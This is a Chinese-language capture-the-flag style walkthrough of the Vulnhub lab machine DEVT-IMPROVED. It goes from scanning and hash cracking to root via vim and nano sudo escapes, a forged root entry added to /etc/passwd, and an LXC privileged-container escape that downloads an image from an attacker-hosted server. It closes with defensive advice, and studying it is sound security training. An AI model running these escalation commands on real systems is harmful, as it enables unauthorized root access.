[Vulnhub] devt-improved slog_users+vim权限提升+nano权限提升+passwd权限提升+Lxc逃逸权限提升
字数 1548 2025-08-19 12:41:03
Vulnhub靶机DEVT-IMPROVED渗透测试教学文档
1. 信息收集阶段
1.1 目标识别
使用nmap进行初始扫描:
nmap -p- 192.168.101.149 --min-rate 1000 -sC -sV
发现开放端口及服务:
- 22/tcp: OpenSSH 7.6p1 (Ubuntu)
- 113/tcp: ident服务
- 139/tcp: Samba smbd 3.X-4.X
- 445/tcp: Samba smbd 4.7.6-Ubuntu
- 8080/tcp: IIS 6.0 HTTP服务
1.2 Web服务枚举
访问以下URL进行枚举:
- http://192.168.101.149:8080/
- http://192.168.101.149:8080/html_pages
- http://192.168.101.149:8080/development.html
- http://192.168.101.149:8080/developmentsecretpage/patrick.php?logout=1
发现关键信息:
- 开发页面提示存在"development secret page"
- HTML注释包含线索:
<!-- Searching for development secret page... where could it be?Patrick, Head of Development-->
1.3 Samba服务检查
使用smbclient检查共享:
smbclient -L //192.168.101.149
2. 漏洞利用阶段
2.1 发现敏感文件
找到关键文件:
- http://192.168.101.149:8080/developmentsecretpage/slog_users.txt
该文件存在RFI(远程文件包含)漏洞,参考CVE-2008-5762/63
2.2 密码破解
使用hashcat破解发现的哈希:
hashcat -m 0 -a 0 '4a8a2b374f463b7aedbb44a066363b81' /usr/share/wordlists/rockyou.txt
获取有效凭据:
username: intern password: 12345678900987654321
username: patrick password: P@ssw0rd25
username: qiu password: qiu
2.3 初始访问
使用SSH登录:
ssh intern@192.168.101.149
3. 权限提升技术
3.1 Vim提权
- 切换到patrick用户:
su patrick
- 利用sudo权限执行vim:
sudo /usr/bin/vim
- 在vim中执行:
:set shell=/bin/bash
:shell
3.2 Nano提权
- 使用sudo执行nano:
sudo nano
- 在nano中按下组合键:
Ctrl+R
Ctrl+X
- 执行命令:
reset; sh 1>&0 2>&0
3.3 /etc/passwd提权
- 生成root权限用户:
openssl passwd -1 -salt maptnh opopop
输出:$1$maptnh$ItUNUP3HGbsfXKvpOJ58V.
- 编辑/etc/passwd文件:
sudo vim /etc/passwd
- 添加行:
maptnh:$1$maptnh$ItUNUP3HGbsfXKvpOJ58V.:0:0:root:/root:/bin/bash
- 切换到新用户:
su maptnh
3.4 LXC容器逃逸提权
- 在攻击机(Kali)上准备Alpine镜像:
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
sudo ./build-alpine
python3 -m http.server 10035
- 在目标机器上下载并导入镜像:
wget http://192.168.101.128/alpine-v3.20-x86_64-20240712_0618.tar.gz
lxc image import /tmp/alpine-v3.20-x86_64-20240712_0618.tar.gz --alias test
lxc image list
- 创建特权容器:
lxc init test ignite -c security.privileged=true -s default
lxc config device add ignite test disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
4. 后渗透验证
4.1 本地用户验证
检查本地用户标志:
cat Local.txt
内容:Congratulations on obtaining a user shell. :)
4.2 Root权限验证
检查root标志:
cat Proof.txt
内容:Congratulations on rooting DEVELOPMENT! :)
5. 关键知识点总结
-
信息收集:全面的端口扫描和Web目录枚举是渗透测试的基础
-
凭证破解:
- 发现敏感文件(slog_users.txt)
- 使用hashcat进行哈希破解
- 尝试默认/弱密码
-
权限提升技术:
- 利用sudo权限的文本编辑器(vim/nano)逃逸
- 直接修改/etc/passwd文件添加特权用户
- LXC特权容器逃逸技术
-
防御建议:
- 限制sudo权限,特别是文本编辑器
- 确保/etc/passwd文件权限正确
- 限制容器特权
- 移除开发环境中的敏感信息和注释
-
工具使用:
- nmap进行全面扫描
- hashcat进行密码破解
- lxd-alpine-builder创建特权容器镜像
通过本案例,我们展示了从信息收集到最终获取root权限的完整渗透测试流程,重点演示了多种权限提升技术的实际应用。